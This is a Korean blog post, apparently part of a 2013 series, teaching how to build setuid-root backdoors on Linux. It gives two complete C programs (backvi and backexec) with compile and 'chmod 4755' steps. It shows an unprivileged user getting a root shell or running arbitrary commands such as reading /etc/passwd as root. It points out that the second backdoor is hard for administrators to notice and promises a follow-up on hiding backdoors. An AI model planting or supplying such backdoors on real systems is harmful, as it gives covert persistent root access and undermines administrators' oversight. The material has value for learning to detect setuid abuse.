이번에는 백도어를 만드는 두번째 방법입니다.
먼저 backvi.c라는 파일을 vi로 만들어줍니다.
#vi backvi.c
그리고 내부에 다음 코드를 입력합니다.
#include<stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/vi");
}
#gcc -o backvi backvi.c 명령어로 코딩한 것을 컴파일합니다.
#chmod 4755 backvi 로 백도어의 접근권한을 바꿔주고 setuid설정을 해줍니다.
이제 백도어가 만들어졌습니다. 일반사용자 모드로 접속하여 백도어를 실행시켜봅니다.
$./backvi
ㄴ
위와 같은 화면이 뜨면 :!/bin/bash 를 입력하고 enter를 눌러봅니다.
깔끔하게 루트 권한으로 넘어갔네요!
다음은 세번째 방법입니다.
먼저
#vi backexec.c 를 입력하여 backexec.c라는 파일을 만들고,
다음 코드를 입력합니다.
#include<stdio.h>
main(int argc, char *argv[]){
char exec[100];
setuid(0);
setgid(0);
sprintf(exec,"%s 2>/dev/null", argv[1]);
system(exec);
}
그리고 마찬가지로
#gcc -o backexec backexec.c 를 입력하여 컴파일 해줍니다.
#chmod 4755 backexec 로 접근권한 및 setuid 설정을 바꿔줍니다.
이제 일반 사용자 모드로 접속하여 백도어를 실행하겠습니다.
이번 백도어는 앞의 두가지 방법들과는 달리 실행명령어 뒤에 큰 따옴표("")를 붙여 그 안에 명령어를 입력해 주어 실행하는 방식입니다. 이 방식은 단순히 실행하면 아무런 표시도 나지 않기 때문에 관리자에게 걸릴 확률이 비교적 적다고 할 수 있겠네요.
위 그림처럼 단순히
./backexec 라고 입력할 시에는 아무 표시가 뜨지 않습니다.
그러나 ./backexec "id" 또는 ./backexec "tail /etc/passwd" 처럼 ""를 붙여 입력했을 때는 그 내용이 루트 권한으로 실행되는 것을 확인하실 수 있습니다.
지금까지 소개한 세가지 백도어들은 미세하게는 차이가 있으나 큰 흐름은 같습니다. 마음에 드는 방법을 한가지 선택하셔서 연습하시면 되겠습니다.
다음 포스팅에서는 백도어를 찾는 방법과, 들키지 않게 숨기는 방법을 소개하겠습니다.
'시스템보안(지식창고)' 카테고리의 다른 글
시스템 권한 해킹 기법 (0) | 2013.03.07 |
---|---|
cron 데몬을 이용한 백도어 생성 (0) | 2013.02.15 |
Setuid를 이용한 백도어 만들기(3)- 백도어 찾아내기와 백도어 숨기기 (0) | 2013.02.15 |
Setuid를 이용한 백도어 만들기(1) (Fedora Linux 상에서) (0) | 2013.02.15 |
(보안 상식) OS 해킹의 절차 (0) | 2013.02.15 |